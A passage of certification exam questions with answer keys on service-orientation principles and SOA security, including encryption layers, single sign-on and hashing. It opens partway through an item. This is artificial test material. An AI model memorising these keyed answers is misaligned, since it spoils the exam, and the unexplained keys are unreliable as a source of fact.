A. designed, discovered
B. discovered, interpreted
C. discovered, refactored
D. discovered, deployed
Answer: B

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NO.5 Which of the following is a common reason as to why the Standardized Service Contract principle is not
followed in some organizations? Select the correct answer.
A. Development tools are used to auto-generate the details of the technical service contract.
B. Developers ignore service contract design standards.
C. Developers are required to use pre-defined third-party service contracts obtained with the purchase of
legacy system adapters.
D. All of the above.
Answer: D

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NO.6 Each time our corporate development team makes a change to the service logic it is required to
publish a new version of the service contract. Our customers are complaining because their service
consumer programs become incompatible with new service contract versions and therefore no longer
work. Which of the following service-orientation principles is most likely to help us solve this on-going
problem? Select the correct answer.
A. Service Reusability
B. Service Statelessness
C. Service Loose Coupling
D. Service Autonomy
Answer: C

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NO.7 A company is about to release a service for worldwide usage. As a result, the service contract receives
a great deal of attention. After a review it is decided to limit the service contract content to only what is
deemed absolutely necessary and to further have the service's Service Level
Agreement (SLA) translated into several different languages so that the service can be easily located by
those who may want to use it. Which pair of service-orientation principles directly supports these
design-time considerations? Select the correct answer.
A. Service Autonomy, Service Reusability
B. Service Statelessness, Standardized Service Contract
C. Service Discoverability, Service Abstraction
D. Service Reusability, Service Statelessness
Answer: C

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NO.8 Which of the following statements is false.? Select the correct answer.
A. A sub-controller capability is responsible for composing nested composition logic.
B. A sub-controller capability is responsible for composing other service capabilities.
C. A sub-controller capability composes other service capabilities while it itself is also composed by other
service capabilities.
D. A sub-controller can only compose other service capabilities but it cannot itself be composed.
Answer: D

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NO.1 Service A and Service B belong to Organization A and Service C belongs to Organization B. Service A
sends confidential messages to Service B, which forwards these messages to Service
C. The message sent to Service C is intercepted by a load balancing service agent that determines which
instance of Service C to route the message to. This entire message path needs to be encrypted in order
to ensure message confidentiality from when the message is first sent by Service A until it is received by
an instance of Service C. Organization A doesn't trust any intermediaries that may exist in between
Service B and Service C and also doesn't want to share any keys with Organization B. Furthermore, there
is a requirement to minimize any adverse effects on performance. Which of the following approaches
fulfills these requirements?
A. Use message-layer security by adding symmetric encryption between Services A, B and C. This
way,message content is not available to any intermediaries between Services B and C.
B. Because Service A and Service B exist within the same organizational boundary, use transport-layer
security to provide message confidentiality. Use message-layer security via asymmetric encryption
between Service B and Service C.
C. Use transport-layer security between Service B and Service C and use message-layer security via
asymmetric encryptionbetween Service A and Service B. This way. all the services are secured while at
the same time minimizing the performance degradation between Service B and Service C.
D. None of the above.
Answer: B

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NO.2 A task service needs to access three entity services as part of a service composition. The task service
needs to authenticate itself every time it accesses one of the three entity services. Because the task
service must authenticate itself three times to complete its task, the current service composition design is
considered inefficient. How can it be improved while continuing to fulfill the authentication requirements?
A. Increase the network bandwidth between the task service and the entity services.
B. Use a single sign-on mechanism.
C. Remove the authentication requirements within the service composition, thereby reducing the
message size and making communication faster.
D. None of the above
Answer: B

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NO.3 Which of the following is not a hashing algorithm?
A. MD5
B. X.509
C. SHA-1
D. SHA-256
Answer: B

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NO.4 The SAML and WS-Security industry standards can be applied to the same service composition
architecture.
A. True
B. False
Answer: A

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NO.5 The application of the Data Origin Authentication pattern only provides message integrity.?
A. True
B. False
Answer: B

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NO.6 The use of XML-Encryption supports the application of the Service Abstraction principle because the
actual message remains hidden from the attacker.
A. True
B. False
Answer: B

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NO.7 The application of the Brokered Authentication pattern is best suited for a scenario whereby a service
consumer does not need to re-authenticate itself with multiple services.
A. True
B. False
Answer: B

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NO.8 Service A relies on a shared identity store. Service B has its own identity store. Service C also has its
own identity store, but must also access the shared identity store used by Service A. Which service has
the least reduction in autonomy as a result of its relationship with identity store mechanism(s)?
A. Service A
B. Service B
C. Service C
D. The autonomy of all services is affected equally
Answer: B

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